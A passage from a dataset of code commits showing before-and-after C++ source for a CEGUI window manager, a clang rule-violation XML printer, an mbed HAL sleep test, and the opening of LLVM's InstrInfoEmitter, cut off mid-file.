within the system\");\n\t}\n\n\treturn pos->second;\n}\n\n\n\/*************************************************************************\n\tReturn true if a window with the given name is present\n*************************************************************************\/\nbool WindowManager::isWindowPresent(const String& name) const\n{\n\treturn (d_windowRegistry.find(name) != d_windowRegistry.end());\n}\n\n\n\/*************************************************************************\n\tDestroy all Window objects\n*************************************************************************\/\nvoid WindowManager::destroyAllWindows(void)\n{\n\tString window_name;\n\twhile (!d_windowRegistry.empty())\n\t{\n\t\twindow_name = d_windowRegistry.begin()->first;\n\t\tdestroyWindow(window_name);\n\t}\n\n}\n\n\n\/*************************************************************************\n\tCreates a set of windows (a Gui layout) from the information in the\n\tspecified XML file.\t\n*************************************************************************\/\nWindow* WindowManager::loadWindowLayout(const String& filename, const String& name_prefix, PropertyCallback* callback, void* userdata)\n{\n\tXERCES_CPP_NAMESPACE_USE\n\n\tif (filename.empty() || (filename == (utf8*)\"\"))\n\t{\n\t\tthrow InvalidRequestException((utf8*)\"WindowManager::loadWindowLayout - Filename supplied for gui-layout loading must be valid.\");\n\t}\n\n\t\/\/ log the fact we are about to load a layout\n\tLogger::getSingleton().logEvent((utf8*)\"---- Beginning loading of GUI layout from '\" + filename + \"' ----\", Informative);\n\n\tSAX2XMLReader* parser = XMLReaderFactory::createXMLReader();\n\n\t\/\/ set basic settings we want from parser\n\tparser->setFeature(XMLUni::fgSAX2CoreValidation, true);\n\tparser->setFeature(XMLUni::fgSAX2CoreNameSpaces, true);\n\tparser->setFeature(XMLUni::fgXercesSchema, true);\n\tparser->setFeature(XMLUni::fgXercesValidationErrorAsFatal, true);\n\n\/\/ InputSourceContainer layoutSchemaData;\n\/\/ System::getSingleton().getResourceProvider()->loadInputSourceContainer(GUILayoutSchemaName, layoutSchemaData);\n\/\/ parser->loadGrammar(*(layoutSchemaData.getDataPtr()), Grammar::SchemaGrammarType, true);\n\n RawDataContainer rawSchemaData;\n System::getSingleton().getResourceProvider()->loadRawDataContainer(GUILayoutSchemaName, rawSchemaData);\n MemBufInputSource layoutSchemaData(rawSchemaData.getDataPtr(), rawSchemaData.getSize(), GUILayoutSchemaName, false);\n parser->loadGrammar(layoutSchemaData, Grammar::SchemaGrammarType, true);\n\n \/\/ enable grammar reuse\n parser->setFeature(XMLUni::fgXercesUseCachedGrammarInParse, true);\n\n\t\/\/ setup schema for gui-layout data\n\tXMLCh* pval = XMLString::transcode(GUILayoutSchemaName);\n\tparser->setProperty(XMLUni::fgXercesSchemaExternalNoNameSpaceSchemaLocation, pval);\n\tXMLString::release(&pval);\n\n\t\/\/ setup handler object\n\tGUILayout_xmlHandler handler(name_prefix, callback, userdata);\n\tparser->setContentHandler(&handler);\n\tparser->setErrorHandler(&handler);\n\n\/\/ InputSourceContainer layoutData;\n\/\/ System::getSingleton().getResourceProvider()->loadInputSourceContainer(filename, layoutData);\n\n RawDataContainer rawXMLData;\n System::getSingleton().getResourceProvider()->loadRawDataContainer(filename, rawXMLData);\n MemBufInputSource layoutData(rawXMLData.getDataPtr(), rawXMLData.getSize(), filename.c_str(), false);\n\n\t\/\/ do parse (which uses handler to create actual data)\n\ttry\n\t{\n\/\/ parser->parse(*(layoutData.getDataPtr()));\n parser->parse(layoutData);\n\n\t\t\/\/ log the completion of loading\n\t\tLogger::getSingleton().logEvent((utf8*)\"---- Successfully completed loading of GUI layout from '\" + filename + \"' ----\", Standard);\n\t}\n\tcatch(const XMLException& exc)\n\t{\n\t\tif (exc.getCode() != XMLExcepts::NoError)\n\t\t{\n\t\t\tdelete parser;\n\n\t\t\tchar* excmsg = XMLString::transcode(exc.getMessage());\n\t\t\tString message((utf8*)\"WindowManager::loadWindowLayout - An error occurred while parsing gui-layout file '\" + filename + \"'. Additional information: \");\n\t\t\tmessage += (utf8*)excmsg;\n\t\t\tXMLString::release(&excmsg);\n\n\t\t\tthrow FileIOException(message);\n\t\t}\n\n\t}\n\tcatch(const SAXParseException& exc)\n\t{\n\t\tdelete parser;\n\n\t\tchar* excmsg = XMLString::transcode(exc.getMessage());\n\t\tString message((utf8*)\"WindowManager::loadWindowLayout - An error occurred while parsing gui-layout file '\" + filename + \"'. Additional information: \");\n\t\tmessage += (utf8*)excmsg;\n\t\tXMLString::release(&excmsg);\n\n\t\tthrow FileIOException(message);\n\t}\n\tcatch(const CEGUI::Exception&)\n\t{\n\t\tdelete parser;\n\t\tthrow;\n\t}\n\tcatch(...)\n\t{\n\t\tdelete parser;\n\n\t\tthrow FileIOException((utf8*)\"WindowManager::loadWindowLayout - An unexpected error occurred while parsing gui-layout file '\" + filename + \"'.\");\n\t}\n\n\t\/\/ cleanup\n\tdelete parser;\n\n\treturn handler.getLayoutRootWindow();\n}\n\n\nWindowManager& WindowManager::getSingleton(void)\n{\n\treturn Singleton<WindowManager>::getSingleton();\n}\n\n\nWindowManager* WindowManager::getSingletonPtr(void)\n{\n\treturn Singleton<WindowManager>::getSingletonPtr();\n}\n\n\n\/*************************************************************************\n\tReturn a WindowManager::WindowIterator object to iterate over the\n\tcurrently defined Windows.\n*************************************************************************\/\nWindowManager::WindowIterator WindowManager::getIterator(void) const\n{\n\treturn WindowIterator(d_windowRegistry.begin(), d_windowRegistry.end());\n}\n} \/\/ End of CEGUI namespace section\n<|endoftext|>"} {"text":"<commit_before>#include \"OutputPrinter.h\"\n\nOutputPrinter::OutputPrinter(const std::string& outputFileName)\n : m_outputFileName(outputFileName)\n{\n TiXmlDeclaration* decl = new TiXmlDeclaration(\"1.0\", \"\", \"\");\n m_document.LinkEndChild(decl);\n\n m_resultsElement = new TiXmlElement(\"results\");\n}\n\nvoid OutputPrinter::Save()\n{\n m_document.LinkEndChild(m_resultsElement);\n m_document.SaveFile(m_outputFileName);\n}\n\nvoid OutputPrinter::PrintRuleViolation(const std::string& ruleName,\n Severity severity,\n const std::string& description,\n const clang::SourceLocation& location,\n clang::SourceManager& sourceManager)\n{\n TiXmlElement* errorElement = new TiXmlElement(\"error\");\n\n errorElement->SetAttribute(\"file\", sourceManager.getFilename(location).str());\n errorElement->SetAttribute(\"line\", std::to_string(sourceManager.getSpellingLineNumber(location)));\n errorElement->SetAttribute(\"id\", ruleName);\n errorElement->SetAttribute(\"severity\", GetSeverityString(severity));\n errorElement->SetAttribute(\"message\", description);\n\n m_resultsElement->LinkEndChild(errorElement);\n}\n\nstd::string OutputPrinter::GetSeverityString(Severity severity)\n{\n std::string str;\n\n switch (severity)\n {\n case Severity::Style:\n str = \"style\";\n break;\n\n case Severity::Error:\n str = \"error\";\n break;\n\n case Severity::Warning:\n str = \"warning\";\n break;\n\n case Severity::Information:\n str = \"information\";\n break;\n }\n\n return str;\n}\n\n<commit_msg>Fix XML output<commit_after>#include \"OutputPrinter.h\"\n\nOutputPrinter::OutputPrinter(const std::string& outputFileName)\n : m_outputFileName(outputFileName)\n{\n TiXmlDeclaration* decl = new TiXmlDeclaration(\"1.0\", \"\", \"\");\n m_document.LinkEndChild(decl);\n\n m_resultsElement = new TiXmlElement(\"results\");\n}\n\nvoid OutputPrinter::Save()\n{\n m_document.LinkEndChild(m_resultsElement);\n m_document.SaveFile(m_outputFileName);\n}\n\nvoid OutputPrinter::PrintRuleViolation(const std::string& ruleName,\n Severity severity,\n const std::string& description,\n const clang::SourceLocation& location,\n clang::SourceManager& sourceManager)\n{\n TiXmlElement* errorElement = new TiXmlElement(\"error\");\n\n errorElement->SetAttribute(\"file\", sourceManager.getFilename(location).str());\n errorElement->SetAttribute(\"line\", std::to_string(sourceManager.getSpellingLineNumber(location)));\n errorElement->SetAttribute(\"id\", ruleName);\n errorElement->SetAttribute(\"severity\", GetSeverityString(severity));\n errorElement->SetAttribute(\"msg\", description);\n\n m_resultsElement->LinkEndChild(errorElement);\n}\n\nstd::string OutputPrinter::GetSeverityString(Severity severity)\n{\n std::string str;\n\n switch (severity)\n {\n case Severity::Style:\n str = \"style\";\n break;\n\n case Severity::Error:\n str = \"error\";\n break;\n\n case Severity::Warning:\n str = \"warning\";\n break;\n\n case Severity::Information:\n str = \"information\";\n break;\n }\n\n return str;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* mbed Microcontroller Library\n * Copyright (c) 2017 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#if !DEVICE_SLEEP\n#error [NOT_SUPPORTED] sleep not supported for this target\n#endif\n\n#include \"mbed.h\"\n\n#include \"utest\/utest.h\"\n#include \"unity\/unity.h\"\n#include \"greentea-client\/test_env.h\"\n\n#include \"sleep_api_tests.h\"\n\n#define US_PER_S 1000000\n\nusing namespace utest::v1;\n\n\/* The following ticker frequencies are possible:\n * high frequency ticker: 250 KHz (1 tick per 4 us) - 8 Mhz (1 tick per 1\/8 us)\n * low power ticker: 8 KHz (1 tick per 125 us) - 64 KHz (1 tick per ~15.6 us)\n *\/\n\n\/* Used for regular sleep mode, a target should be awake within 10 us. Define us delta value as follows:\n * delta = default 10 us + worst ticker resolution + extra time for code execution *\/\nstatic const uint32_t sleep_mode_delta_us = (10 + 4 + 5);\n\n\/* Used for deep-sleep mode, a target should be awake within 10 ms. Define us delta value as follows:\n * delta = default 10 ms + worst ticker resolution + extra time for code execution *\/\nstatic const uint32_t deepsleep_mode_delta_us = (10000 + 125 + 5);\n\nunsigned int ticks_to_us(unsigned int ticks, unsigned int freq)\n{\n return (unsigned int)((unsigned long long)ticks * US_PER_S \/ freq);\n}\n\nunsigned int us_to_ticks(unsigned int us, unsigned int freq)\n{\n return (unsigned int)((unsigned long long)us * freq \/ US_PER_S);\n}\n\nunsigned int overflow_protect(unsigned int timestamp, unsigned int ticker_width)\n{\n unsigned int counter_mask = ((1 << ticker_width) - 1);\n\n return (timestamp & counter_mask);\n}\n\nbool compare_timestamps(unsigned int delta_ticks, unsigned int ticker_width, unsigned int expected, unsigned int actual)\n{\n const unsigned int counter_mask = ((1 << ticker_width) - 1);\n\n const unsigned int lower_bound = ((expected - delta_ticks) & counter_mask);\n const unsigned int upper_bound = ((expected + delta_ticks) & counter_mask);\n\n if(lower_bound < upper_bound) {\n if (actual >= lower_bound && actual <= upper_bound) {\n return true;\n } else {\n return false;\n }\n } else {\n if ((actual >= lower_bound && actual <= counter_mask) ||\n (actual >= 0 && actual <= upper_bound)) {\n return true;\n } else {\n return false;\n }\n }\n}\n\nvoid us_ticker_isr(const ticker_data_t *const ticker_data)\n{\n us_ticker_clear_interrupt();\n}\n\n#ifdef DEVICE_LOWPOWERTIMER\nvoid lp_ticker_isr(const ticker_data_t *const ticker_data)\n{\n lp_ticker_clear_interrupt();\n}\n#endif\n\n\/* Test that wake-up time from sleep should be less than 10 us and\n * high frequency ticker interrupt can wake-up target from sleep. *\/\nvoid sleep_usticker_test()\n{\n Timeout timeout;\n const ticker_data_t * ticker = get_us_ticker_data();\n const unsigned int ticker_freq = ticker->interface->get_info()->frequency;\n const unsigned int ticker_width = ticker->interface->get_info()->bits;\n\n const ticker_irq_handler_type us_ticker_irq_handler_org = set_us_ticker_irq_handler(us_ticker_isr);\n\n \/* Test only sleep functionality. *\/\n sleep_manager_lock_deep_sleep();\n TEST_ASSERT_FALSE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should be locked\");\n\n \/* Testing wake-up time 10 us. *\/\n for (timestamp_t i = 100; i < 1000; i += 100) {\n \/* note: us_ticker_read() operates on ticks. *\/\n const timestamp_t next_match_timestamp = overflow_protect(us_ticker_read() + us_to_ticks(i, ticker_freq),\n ticker_width);\n\n us_ticker_set_interrupt(next_match_timestamp);\n\n sleep();\n\n const unsigned int wakeup_timestamp = us_ticker_read();\n\n TEST_ASSERT(\n compare_timestamps(us_to_ticks(sleep_mode_delta_us, ticker_freq), ticker_width, next_match_timestamp,\n wakeup_timestamp));\n }\n\n set_us_ticker_irq_handler(us_ticker_irq_handler_org);\n\n sleep_manager_unlock_deep_sleep();\n TEST_ASSERT_TRUE(sleep_manager_can_deep_sleep());\n}\n\n#ifdef DEVICE_LOWPOWERTIMER\n\n\/* Test that wake-up time from sleep should be less than 10 ms and\n * low power ticker interrupt can wake-up target from sleep. *\/\nvoid deepsleep_lpticker_test()\n{\n const ticker_data_t * ticker = get_us_ticker_data();\n const unsigned int ticker_freq = ticker->interface->get_info()->frequency;\n const unsigned int ticker_width = ticker->interface->get_info()->bits;\n\n const ticker_irq_handler_type lp_ticker_irq_handler_org = set_lp_ticker_irq_handler(lp_ticker_isr);\n\n \/* Give some time Green Tea to finish UART transmission before entering\n * deep-sleep mode.\n *\/\n wait_ms(10);\n\n TEST_ASSERT_TRUE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should not be locked\");\n\n \/* Testing wake-up time 10 ms. *\/\n for (timestamp_t i = 20000; i < 200000; i += 20000) {\n \/* note: lp_ticker_read() operates on ticks. *\/\n const timestamp_t next_match_timestamp = overflow_protect(lp_ticker_read() + us_to_ticks(i, ticker_freq), ticker_width);\n\n lp_ticker_set_interrupt(next_match_timestamp);\n\n sleep();\n\n const timestamp_t wakeup_timestamp = lp_ticker_read();\n\n TEST_ASSERT(compare_timestamps(us_to_ticks(deepsleep_mode_delta_us, ticker_freq), ticker_width, next_match_timestamp, wakeup_timestamp));\n }\n\n set_lp_ticker_irq_handler(lp_ticker_irq_handler_org);\n\n}\n\nvoid deepsleep_high_speed_clocks_turned_off_test()\n{\n const ticker_data_t * us_ticker = get_us_ticker_data();\n const ticker_data_t * lp_ticker = get_lp_ticker_data();\n const unsigned int us_ticker_freq = us_ticker->interface->get_info()->frequency;\n const unsigned int lp_ticker_freq = lp_ticker->interface->get_info()->frequency;\n const unsigned int us_ticker_width = us_ticker->interface->get_info()->bits;\n const unsigned int lp_ticker_width = lp_ticker->interface->get_info()->bits;\n const unsigned int us_ticker_mask = ((1 << us_ticker_width) - 1);\n\n \/* Give some time Green Tea to finish UART transmission before entering\n * deep-sleep mode.\n *\/\n wait_ms(10);\n\n TEST_ASSERT_TRUE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should not be locked\");\n\n const unsigned int us_ticks_before_sleep = us_ticker_read();\n\n const timestamp_t wakeup_time = lp_ticker_read() + us_to_ticks(200000, lp_ticker_freq);\n lp_ticker_set_interrupt(wakeup_time);\n\n sleep();\n\n const unsigned int us_ticks_after_sleep = us_ticker_read();\n const unsigned int lp_ticks_after_sleep = lp_ticker_read();\n\n \/* High freqency ticker should be disabled in deep-sleep mode. We expect that time difference between\n * ticker reads before and after the sleep represents only code execution time between calls.\n * Since we went to sleep for about 200 ms check if time counted by high frequency timer does not\n * exceed 1 ms.\n *\/\n const unsigned int us_ticks_diff = (us_ticks_before_sleep <= us_ticks_after_sleep) ? (us_ticks_after_sleep - us_ticks_before_sleep) : (us_ticker_mask - us_ticks_before_sleep + us_ticks_after_sleep + 1);\n\n TEST_ASSERT_UINT32_WITHIN(1000, 0, ticks_to_us(us_ticks_diff, us_ticker_freq));\n\n \/* Check if we have woken-up after expected time. *\/\n TEST_ASSERT(compare_timestamps(us_to_ticks(deepsleep_mode_delta_us, lp_ticker_freq), lp_ticker_width, wakeup_time, lp_ticks_after_sleep));\n}\n\n#endif\n\nutest::v1::status_t greentea_failure_handler(const Case * const source, const failure_t reason)\n{\n greentea_case_failure_abort_handler(source, reason);\n return STATUS_CONTINUE;\n}\n\nutest::v1::status_t greentea_test_setup(const size_t number_of_cases)\n{\n GREENTEA_SETUP(60, \"default_auto\");\n us_ticker_init();\n#if DEVICE_LOWPOWERTIMER\n lp_ticker_init();\n#endif\n \/* Suspend RTOS Kernel to enable sleep modes. *\/\n osKernelSuspend();\n return greentea_test_setup_handler(number_of_cases);\n}\n\nCase cases[] = {\n Case(\"sleep - source of wake-up - us ticker\", sleep_usticker_test, greentea_failure_handler),\n#if DEVICE_LOWPOWERTIMER\n Case(\"deep-sleep - source of wake-up - lp ticker\",deepsleep_lpticker_test, greentea_failure_handler),\n Case(\"deep-sleep - high-speed clocks are turned off\",deepsleep_high_speed_clocks_turned_off_test, greentea_failure_handler),\n#endif\n};\n\nSpecification specification(greentea_test_setup, cases, greentea_test_teardown_handler);\n\nint main() {\n Harness::run(specification);\n}\n<commit_msg>tests-mbed_hal-sleep: use lp ticker data while testing deepsleep.<commit_after>\/* mbed Microcontroller Library\n * Copyright (c) 2017 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#if !DEVICE_SLEEP\n#error [NOT_SUPPORTED] sleep not supported for this target\n#endif\n\n#include \"mbed.h\"\n\n#include \"utest\/utest.h\"\n#include \"unity\/unity.h\"\n#include \"greentea-client\/test_env.h\"\n\n#include \"sleep_api_tests.h\"\n\n#define US_PER_S 1000000\n\nusing namespace utest::v1;\n\n\/* The following ticker frequencies are possible:\n * high frequency ticker: 250 KHz (1 tick per 4 us) - 8 Mhz (1 tick per 1\/8 us)\n * low power ticker: 8 KHz (1 tick per 125 us) - 64 KHz (1 tick per ~15.6 us)\n *\/\n\n\/* Used for regular sleep mode, a target should be awake within 10 us. Define us delta value as follows:\n * delta = default 10 us + worst ticker resolution + extra time for code execution *\/\nstatic const uint32_t sleep_mode_delta_us = (10 + 4 + 5);\n\n\/* Used for deep-sleep mode, a target should be awake within 10 ms. Define us delta value as follows:\n * delta = default 10 ms + worst ticker resolution + extra time for code execution *\/\nstatic const uint32_t deepsleep_mode_delta_us = (10000 + 125 + 5);\n\nunsigned int ticks_to_us(unsigned int ticks, unsigned int freq)\n{\n return (unsigned int)((unsigned long long)ticks * US_PER_S \/ freq);\n}\n\nunsigned int us_to_ticks(unsigned int us, unsigned int freq)\n{\n return (unsigned int)((unsigned long long)us * freq \/ US_PER_S);\n}\n\nunsigned int overflow_protect(unsigned int timestamp, unsigned int ticker_width)\n{\n unsigned int counter_mask = ((1 << ticker_width) - 1);\n\n return (timestamp & counter_mask);\n}\n\nbool compare_timestamps(unsigned int delta_ticks, unsigned int ticker_width, unsigned int expected, unsigned int actual)\n{\n const unsigned int counter_mask = ((1 << ticker_width) - 1);\n\n const unsigned int lower_bound = ((expected - delta_ticks) & counter_mask);\n const unsigned int upper_bound = ((expected + delta_ticks) & counter_mask);\n\n if(lower_bound < upper_bound) {\n if (actual >= lower_bound && actual <= upper_bound) {\n return true;\n } else {\n return false;\n }\n } else {\n if ((actual >= lower_bound && actual <= counter_mask) ||\n (actual >= 0 && actual <= upper_bound)) {\n return true;\n } else {\n return false;\n }\n }\n}\n\nvoid us_ticker_isr(const ticker_data_t *const ticker_data)\n{\n us_ticker_clear_interrupt();\n}\n\n#ifdef DEVICE_LOWPOWERTIMER\nvoid lp_ticker_isr(const ticker_data_t *const ticker_data)\n{\n lp_ticker_clear_interrupt();\n}\n#endif\n\n\/* Test that wake-up time from sleep should be less than 10 us and\n * high frequency ticker interrupt can wake-up target from sleep. *\/\nvoid sleep_usticker_test()\n{\n Timeout timeout;\n const ticker_data_t * ticker = get_us_ticker_data();\n const unsigned int ticker_freq = ticker->interface->get_info()->frequency;\n const unsigned int ticker_width = ticker->interface->get_info()->bits;\n\n const ticker_irq_handler_type us_ticker_irq_handler_org = set_us_ticker_irq_handler(us_ticker_isr);\n\n \/* Test only sleep functionality. *\/\n sleep_manager_lock_deep_sleep();\n TEST_ASSERT_FALSE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should be locked\");\n\n \/* Testing wake-up time 10 us. *\/\n for (timestamp_t i = 100; i < 1000; i += 100) {\n \/* note: us_ticker_read() operates on ticks. *\/\n const timestamp_t next_match_timestamp = overflow_protect(us_ticker_read() + us_to_ticks(i, ticker_freq),\n ticker_width);\n\n us_ticker_set_interrupt(next_match_timestamp);\n\n sleep();\n\n const unsigned int wakeup_timestamp = us_ticker_read();\n\n TEST_ASSERT(\n compare_timestamps(us_to_ticks(sleep_mode_delta_us, ticker_freq), ticker_width, next_match_timestamp,\n wakeup_timestamp));\n }\n\n set_us_ticker_irq_handler(us_ticker_irq_handler_org);\n\n sleep_manager_unlock_deep_sleep();\n TEST_ASSERT_TRUE(sleep_manager_can_deep_sleep());\n}\n\n#ifdef DEVICE_LOWPOWERTIMER\n\n\/* Test that wake-up time from sleep should be less than 10 ms and\n * low power ticker interrupt can wake-up target from sleep. *\/\nvoid deepsleep_lpticker_test()\n{\n const ticker_data_t * ticker = get_lp_ticker_data();\n const unsigned int ticker_freq = ticker->interface->get_info()->frequency;\n const unsigned int ticker_width = ticker->interface->get_info()->bits;\n\n const ticker_irq_handler_type lp_ticker_irq_handler_org = set_lp_ticker_irq_handler(lp_ticker_isr);\n\n \/* Give some time Green Tea to finish UART transmission before entering\n * deep-sleep mode.\n *\/\n wait_ms(10);\n\n TEST_ASSERT_TRUE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should not be locked\");\n\n \/* Testing wake-up time 10 ms. *\/\n for (timestamp_t i = 20000; i < 200000; i += 20000) {\n \/* note: lp_ticker_read() operates on ticks. *\/\n const timestamp_t next_match_timestamp = overflow_protect(lp_ticker_read() + us_to_ticks(i, ticker_freq), ticker_width);\n\n lp_ticker_set_interrupt(next_match_timestamp);\n\n sleep();\n\n const timestamp_t wakeup_timestamp = lp_ticker_read();\n\n TEST_ASSERT(compare_timestamps(us_to_ticks(deepsleep_mode_delta_us, ticker_freq), ticker_width, next_match_timestamp, wakeup_timestamp));\n }\n\n set_lp_ticker_irq_handler(lp_ticker_irq_handler_org);\n\n}\n\nvoid deepsleep_high_speed_clocks_turned_off_test()\n{\n const ticker_data_t * us_ticker = get_us_ticker_data();\n const ticker_data_t * lp_ticker = get_lp_ticker_data();\n const unsigned int us_ticker_freq = us_ticker->interface->get_info()->frequency;\n const unsigned int lp_ticker_freq = lp_ticker->interface->get_info()->frequency;\n const unsigned int us_ticker_width = us_ticker->interface->get_info()->bits;\n const unsigned int lp_ticker_width = lp_ticker->interface->get_info()->bits;\n const unsigned int us_ticker_mask = ((1 << us_ticker_width) - 1);\n\n \/* Give some time Green Tea to finish UART transmission before entering\n * deep-sleep mode.\n *\/\n wait_ms(10);\n\n TEST_ASSERT_TRUE_MESSAGE(sleep_manager_can_deep_sleep(), \"deep sleep should not be locked\");\n\n const unsigned int us_ticks_before_sleep = us_ticker_read();\n\n const timestamp_t wakeup_time = lp_ticker_read() + us_to_ticks(200000, lp_ticker_freq);\n lp_ticker_set_interrupt(wakeup_time);\n\n sleep();\n\n const unsigned int us_ticks_after_sleep = us_ticker_read();\n const unsigned int lp_ticks_after_sleep = lp_ticker_read();\n\n \/* High freqency ticker should be disabled in deep-sleep mode. We expect that time difference between\n * ticker reads before and after the sleep represents only code execution time between calls.\n * Since we went to sleep for about 200 ms check if time counted by high frequency timer does not\n * exceed 1 ms.\n *\/\n const unsigned int us_ticks_diff = (us_ticks_before_sleep <= us_ticks_after_sleep) ? (us_ticks_after_sleep - us_ticks_before_sleep) : (us_ticker_mask - us_ticks_before_sleep + us_ticks_after_sleep + 1);\n\n TEST_ASSERT_UINT32_WITHIN(1000, 0, ticks_to_us(us_ticks_diff, us_ticker_freq));\n\n \/* Check if we have woken-up after expected time. *\/\n TEST_ASSERT(compare_timestamps(us_to_ticks(deepsleep_mode_delta_us, lp_ticker_freq), lp_ticker_width, wakeup_time, lp_ticks_after_sleep));\n}\n\n#endif\n\nutest::v1::status_t greentea_failure_handler(const Case * const source, const failure_t reason)\n{\n greentea_case_failure_abort_handler(source, reason);\n return STATUS_CONTINUE;\n}\n\nutest::v1::status_t greentea_test_setup(const size_t number_of_cases)\n{\n GREENTEA_SETUP(60, \"default_auto\");\n us_ticker_init();\n#if DEVICE_LOWPOWERTIMER\n lp_ticker_init();\n#endif\n \/* Suspend RTOS Kernel to enable sleep modes. *\/\n osKernelSuspend();\n return greentea_test_setup_handler(number_of_cases);\n}\n\nCase cases[] = {\n Case(\"sleep - source of wake-up - us ticker\", sleep_usticker_test, greentea_failure_handler),\n#if DEVICE_LOWPOWERTIMER\n Case(\"deep-sleep - source of wake-up - lp ticker\",deepsleep_lpticker_test, greentea_failure_handler),\n Case(\"deep-sleep - high-speed clocks are turned off\",deepsleep_high_speed_clocks_turned_off_test, greentea_failure_handler),\n#endif\n};\n\nSpecification specification(greentea_test_setup, cases, greentea_test_teardown_handler);\n\nint main() {\n Harness::run(specification);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===- InstrInfoEmitter.cpp - Generate a Instruction Set Desc. ------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This tablegen backend is responsible for emitting a description of the target\n\/\/ instruction set for the code generator.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"InstrInfoEmitter.h\"\n#include \"CodeGenTarget.h\"\n#include \"llvm\/Target\/TargetInstrInfo.h\"\n#include \"Record.h\"\n#include <algorithm>\nusing namespace llvm;\n\n\/\/ runEnums - Print out enum values for all of the instructions.\nvoid InstrInfoEmitter::runEnums(std::ostream &OS) {\n EmitSourceFileHeader(\"Target Instruction Enum Values\", OS);\n OS << \"namespace llvm {\\n\\n\";\n\n CodeGenTarget Target;\n\n \/\/ We must emit the PHI opcode first...\n std::string Namespace;\n for (CodeGenTarget::inst_iterator II = Target.inst_begin(), \n E = Target.inst_end(); II != E; ++II) {\n if (II->second.Namespace != \"TargetInstrInfo\") {\n Namespace = II->second.Namespace;\n break;\n }\n }\n \n if (Namespace.empty()) {\n cerr << \"No instructions defined!\\n\";\n exit(1);\n }\n\n std::vector<const CodeGenInstruction*> NumberedInstructions;\n Target.getInstructionsByEnumValue(NumberedInstructions);\n\n OS << \"namespace \" << Namespace << \" {\\n\";\n OS << \" enum {\\n\";\n for (unsigned i = 0, e = NumberedInstructions.size(); i != e; ++i) {\n OS << \" \" << NumberedInstructions[i]->TheDef->getName()\n << \"\\t= \" << i << \",\\n\";\n }\n OS << \" INSTRUCTION_LIST_END = \" << NumberedInstructions.size() << \"\\n\";\n OS << \" };\\n}\\n\";\n OS << \"} \/\/ End llvm namespace \\n\";\n}\n\nvoid InstrInfoEmitter::printDefList(const std::vector<Record*> &Uses,\n unsigned Num, std::ostream &OS) const {\n OS << \"static const unsigned ImplicitList\" << Num << \"[] = { \";\n for (unsigned i = 0, e = Uses.size(); i != e; ++i)\n OS << getQualifiedName(Uses[i]) << \", \";\n OS << \"0 };\\n\";\n}\n\nstd::vector<std::string>\nInstrInfoEmitter::GetOperandInfo(const CodeGenInstruction &Inst) {\n std::vector<std::string> Result;\n \n for (unsigned i = 0, e = Inst.OperandList.size(); i != e; ++i) {\n \/\/ Handle aggregate operands and normal operands the same way by expanding\n \/\/ either case into a list of operands for this op.\n std::vector<CodeGenInstruction::OperandInfo> OperandList;\n\n \/\/ This might be a multiple operand thing. Targets like X86 have\n \/\/ registers in their multi-operand operands. It may also be an anonymous\n \/\/ operand, which has a single operand, but no declared class for the\n \/\/ operand.\n DagInit *MIOI = Inst.OperandList[i].MIOperandInfo;\n \n if (!MIOI || MIOI->getNumArgs() == 0) {\n \/\/ Single, anonymous, operand.\n OperandList.push_back(Inst.OperandList[i]);\n } else {\n for (unsigned j = 0, e = Inst.OperandList[i].MINumOperands; j != e; ++j) {\n OperandList.push_back(Inst.OperandList[i]);\n\n Record *OpR = dynamic_cast<DefInit*>(MIOI->getArg(j))->getDef();\n OperandList.back().Rec = OpR;\n }\n }\n\n for (unsigned j = 0, e = OperandList.size(); j != e; ++j) {\n Record *OpR = OperandList[j].Rec;\n std::string Res;\n \n if (OpR->isSubClassOf(\"RegisterClass\"))\n Res += getQualifiedName(OpR) + \"RegClassID, \";\n else\n Res += \"0, \";\n \/\/ Fill in applicable flags.\n Res += \"0\";\n \n \/\/ Ptr value whose register class is resolved via callback.\n if (OpR->getName() == \"ptr_rc\")\n Res += \"|M_LOOK_UP_PTR_REG_CLASS\";\n\n \/\/ Predicate operands. Check to see if the original unexpanded operand\n \/\/ was of type PredicateOperand.\n if (Inst.OperandList[i].Rec->isSubClassOf(\"PredicateOperand\"))\n Res += \"|M_PREDICATE_OPERAND\";\n \n \/\/ Optional def operands. Check to see if the original unexpanded operand\n \/\/ was of type OptionalDefOperand.\n if (Inst.OperandList[i].Rec->isSubClassOf(\"OptionalDefOperand\"))\n Res += \"|M_OPTIONAL_DEF_OPERAND\";\n\n \/\/ Fill in constraint info.\n Res += \", \" + Inst.OperandList[i].Constraints[j];\n Result.push_back(Res);\n }\n }\n\n return Result;\n}\n\n\n\/\/ run - Emit the main instruction description records for the target...\nvoid InstrInfoEmitter::run(std::ostream &OS) {\n GatherItinClasses();\n\n EmitSourceFileHeader(\"Target Instruction Descriptors\", OS);\n OS << \"namespace llvm {\\n\\n\";\n\n CodeGenTarget Target;\n const std::string &TargetName = Target.getName();\n Record *InstrInfo = Target.getInstructionSet();\n\n \/\/ Keep track of all of the def lists we have emitted already.\n std::map<std::vector<Record*>, unsigned> EmittedLists;\n unsigned ListNumber = 0;\n \n \/\/ 